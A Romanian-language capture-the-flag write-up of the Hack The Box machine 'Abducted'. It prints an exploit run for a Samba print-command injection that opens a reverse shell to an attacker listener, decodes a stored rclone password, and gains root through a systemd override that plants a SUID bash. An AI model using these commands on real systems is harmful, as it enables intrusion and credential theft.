

Incepem ca de obicei cu un nmap.

```
rgmy@debian1:~/HTB_Machines/Medium/Abducted$ nmap 10.129.244.177
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-22 23:14 EEST
Nmap scan report for 10.129.244.177
Host is up (0.10s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
```

?? Ciudat. Avem SMB, pe portul 445, dar asta e masina de linux, ceva dubios se intampla aici.

```
rgmy@debian1:~/HTB_Machines/Medium/Abducted$ nmap -sV -sC 10.129.244.177
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-22 23:15 EEST
Nmap scan report for 10.129.244.177
Host is up (0.14s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_  256 8c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
139/tcp    open  netbios-ssn Samba smbd 4
445/tcp    open  netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|_  date: 2026-06-22T20:15:18
|_  start_date: N/A
|_ nbstat: NetBIOS name: ABDUCTED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
|_  3:1:1:
|_  Message signing enabled but not required
```

Hai sa vedem ce obtinem prin list pe smb.

`smbclient -L //10.129.244.177/ -U anonymous`

```
rgmy@debian1:~/HTB_Machines/Medium/Abducted$ smbclient -L //10.129.244.177/ -U anonymous
Password for [WORKGROUP\anonymous]:

      Sharename      Type      Comment
      -----
      HP-Reception   Printer   Reception printer
      projects        Disk      Hartley Group Project Files
      transfer        Disk      Staff file transfer
      IPC$            IPC       IPC Service (Hartley Group Document Services)
SMB1 disabled -- no workgroup available
```

Interesant, hai sa ne uitam mai mult. Temporar, interesant, o imprimanta?

```
rgmy@debian1:~/HTB_Machines/Medium/Abducted$ smbclient //10.129.244.177/projects -U anonymous
Password for [WORKGROUP\anonymous]:
tree connect failed: NT_STATUS_ACCESS_DENIED
rgmy@debian1:~/HTB_Machines/Medium/Abducted$ smbclient //10.129.244.177/ -U anonymous
rgmy@debian1:~/HTB_Machines/Medium/Abducted$ smbclient //10.129.244.177/transfer -U anonymous
Password for [WORKGROUP\anonymous]:
tree connect failed: NT_STATUS_ACCESS_DENIED
rgmy@debian1:~/HTB_Machines/Medium/Abducted$ smbclient //10.129.244.177/HP-Reception -U anonymous
Password for [WORKGROUP\anonymous]:
Try "help" to get a list of possible commands.
smb: \> |
```

Am incercat intai sa ma conectez pe restul, dar evident ca doar pe imprimanta a mers. Sa vedem daca gasesc ceva. Nu a mers nimic.

Inapoi la OG, responder. NU A FUNCTIONAT.

Alta metoda. Din toate, stiu ca aia de la imprimanta ma lasa macar sa ma conectez la SMB. Sa vad, poate am mai multe acolo.

rpcclient -U "" -N 10.129.244.177 -c "srvinfo"

```
rgmy@debian1:~/HTB_Machines/Medium/Abducted$ rpcclient -U "" -N 10.129.244.177 -c "srvinfo"
ABDUCTED      Wk Sv PrQ Unx NT SNT Hartley Group Document Services
platform_id    :      500
os version     :      6.1
server type    :      0x809a03
```

Nimic util. Dar e dubioasa versiunea de la sistemul de operare. Pare pusa acolo hardcodata, ca 6.1 nu e o versiune de ubuntu reala, maxim am avut 6.10 (cel putin la care seamana textul), dar nu ar fi prescurtata by default.

Inapoi, poate am ratat ceva. Nici macar versiunea de ubuntu nu o putem afla.

Singurul lucru, dupa ce am cautat, doar versiunea de SSH e aparuta pe 18 decembrie 2023. Poate e ceva vulnerabilitate mai recenta peste asta.

Am cautat la versiunea de samba.

CVE	Vendors	Products	Updated	CVSS v3.1
CVE-2026-2340	2 Redhat, Samba	5 Enterprise Linux, Openshift, Openshift Container Platform and 2 more	2026-06-16	6.5 Medium
A flaw was found in Samba's vfs_worm module. The module is intended to provide write-once, read-many (WORM) protections by preventing modification of files after a configurable grace period. Due to insufficient validation during rename operations, an authenticated user with write access to a share could overwrite a protected file by renaming a newly created file over the existing WORM-protected file.				
CVE-2026-1933	2 Redhat, Samba	5 Enterprise Linux, Openshift, Openshift Container Platform and 2 more	2026-06-16	7.1 High
A flaw was found in Samba's handling of NTFS-style reparse points on shares configured with read only = yes. Due to missing SMB-layer access checks, authenticated users with underlying filesystem write permissions may create or delete reparse point metadata through SMB operations even on read-only exports. This could allow modification of SMB-visible file behavior, including converting files into symbolic links or other reparse point types.				
CVE-2026-4480	2 Redhat, Samba	5 Enterprise Linux, Openshift, Openshift Container Platform and 2 more	2026-06-15	9 Critical
A flaw was found in the Samba printing subsystem. Samba passes the client-controlled job description string to the command configured with the "print command" setting via the "%J" substitution character without escaping shell meta characters. A remote attacker could exploit this vulnerability by sending a specially crafted print job description that contains unescaped shell characters. This could lead to remote code execution on the affected system.				

Pare interesant al 3-lea exploit. E aparut in 2026, si daca si smb-ul e la aceiasi release ca sshul, poate nu a avut inca updateul. Merita incercat.

A functionat.

```
rguy@debian1:~/HTB_Machines/Medium/Abducted$ python3 CVE-2026-4480.py -t10.129.244.177 -l 10.10.16.56 -p 6969

[*] Target: 10.129.244.177
[*] Callback: 10.10.16.56:6969
[*] Verify mode: False

[*] Credentials initialized (anonymous)
[*] Connected to spoolss interface
[*] Opened printer: HP-Reception
[*] Created DocumentInfo with payload: !sh
[*] Generated payload (77 bytes)
[*] Starting document...
[*] Starting page...
[*] Writing payload (77 bytes)...
[*] Ending page...
[*] Ending document (TRIGGERING EXPLOIT)...
[*] Print job submitted successfully!
[*] Closed printer handle

[*] Exploit completed!
[*] Check your listener for reverse shell...
rguy@debian1:~/HTB_Machines/Medium/Abducted$
```

```
rguy@debian1:~$ nc -lvp 6969
listening on [any] 6969 ...
connect to [10.10.16.56] from (UNKNOWN) [10.129.244.177] 58326
bash: cannot set terminal process group (1931): Inappropriate ioctl for device
bash: no job control in this shell
nobody@abducted:/var/spool/samba$
```

Dupa ce am mai explorat fisierele, are ceva interesnt in /opt.

```
nobody@abducted:/opt/offsite-backup$ cat rclone.conf
cat rclone.conf
[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix
```

Sa vedem ce e ascuns acolo la pass.

```
rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
```

```
nobody@abducted:/opt/offsite-backup$ rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
<rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
iXzvcib3SrpZ
nobody@abducted:/opt/offsite-backup$ !
```

iXzvcib3SrpZ

Din ce am vazut cand am mers pe /home, sunt 2 useri principali, poate asta e parola la unul din ei.

```
nobody@abducted:/home$ ls
ls
marcus
scott
```

La marcus nu a mers, dar la scott am avut succes.

```
rgmy@debian1:~$ ssh scott@10.129.244.177
The authenticity of host '10.129.244.177 (10.129.244.177)' can't be established.
ED25519 key fingerprint is SHA256:0ZNUeTZ9jastNKKQ1tFXatbe0ZzSFg5Dt7nhwhjorR0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.244.177' (ED25519) to the list of known hosts.
scott@10.129.244.177's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-124-generic x86_64)
```

```
* Documentation:  https://help.ubuntu.com
* Management:    https://landscape.canonical.com
* Support:        https://ubuntu.com/pro
```

System information as of Mon Jun 22 09:04:27 PM UTC 2026

```
System load:          0.0
Usage of /:            58.8% of 5.50GB
Memory usage:         6%
Swap usage:           0%
Processes:            216
Users logged in:      0
IPv4 address for eth0: 10.129.244.177
IPv6 address for eth0: dead:beef::a0de:adff:fe21:6395
```

Expanded Security Maintenance for Applications is not enabled.

```
1 update can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list --upgradable
```

```
1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
```

```
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Jun 22 21:04:28 2026 from 10.10.16.56
scott@abducted:~$ |
```



```

scott@abducted:~$ ssh -i /tmp/k marcus@10.129.244.177
The authenticity of host '10.129.244.177 (10.129.244.177)' can't be established.
ED25519 key fingerprint is SHA256:0ZNUeTZ9jastNKKQ1tFXatbe0ZzSFg5Dt7nhwhjorR0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.244.177' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-124-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

System information as of Mon Jun 22 09:10:09 PM UTC 2026

System load:          0.0
Usage of /:           59.0% of 5.50GB
Memory usage:         6%
Swap usage:           0%
Processes:            222
Users logged in:      1
IPv4 address for eth0: 10.129.244.177
IPv6 address for eth0: dead:beef::a0de:adff:fe21:6395

Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list --upgradable

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Jun 22 21:10:10 2026 from 10.129.244.177
marcus@abducted:~$ ^C

```

It worked.

Cand ne uitam la grupurile lui marcus, vedem ceva interesant.

```

marcus@abducted:~$ groups
marcus operators

```

E operator. Sa vedem ce drepturi are in plus

```
find / -group operators 2>/dev/null
```

```

marcus@abducted:~$ find / -group operators 2>/dev/null
/etc/systemd/system/smbd.service.d

```

Asta imi face viata usoara, am doar un fisier. Poate e important.

```

marcus@abducted:~$ ls -ld /etc/systemd/system/smbd.service.d
drwxrws--- 2 root operators 4096 Jun  4 13:41 /etc/systemd/system/smbd.service.d

```

Interesant. E detinut de operators, dar smb ruleaza ca root.

Sa vedem ce putem face cu polkit.

```
for action in $(pkaction); do
```

```
pkcheck --action-id "$action" --process $$ 2>/dev/null && echo "ALLOWED: $action"
```

```
done
```

[illegible]

Destul de mult nimic. Dar am access la reload-daemon. Deci, daca ipotetic as fi adaugat ceva acolo, oare root ar lua de bun?


```
cat > /etc/systemd/system/smbd.service.d/override.conf <<'EOF'
[Service]
ExecStartPre=/bin/cp /bin/bash /tmp/.r
ExecStartPre=/bin/chmod 4755 /tmp/.rb
EOF
```

```
systemctl daemon-reload
```

```
systemctl restart smbd
```

```
marcus@abducted:~$ cat > /etc/systemd/system/smbd.service.d/override.conf <<'EOF'
[Service]
ExecStartPre=/bin/cp /bin/bash /tmp/.rb
ExecStartPre=/bin/chmod 4755 /tmp/.rb
EOF
marcus@abducted:~$ daemon-reload
daemon-reload: command not found
marcus@abducted:~$ systemctl daemon-reload
marcus@abducted:~$ systemctl restart smbd
marcus@abducted:~$ ls -l /tmp/.rb
-rwsr-xr-x 1 root root 1446024 Jun 22 21:20 /tmp/.rb
marcus@abducted:~$ /tmp/.rb -p -c 'id; cat /root/root.txt'
uid=1001(marcus) gid=1002(marcus) euid=0(root) groups=1002(marcus),1000(operators)
```

Oh, a mers. (am cropat flagul).

